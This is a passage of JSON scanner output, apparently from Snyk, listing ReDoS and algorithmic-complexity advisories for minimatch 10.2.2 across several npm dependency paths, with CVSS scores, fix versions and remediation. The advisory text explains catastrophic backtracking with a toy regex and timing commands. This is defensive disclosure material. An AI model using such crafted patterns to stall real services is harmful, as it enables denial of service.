"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": 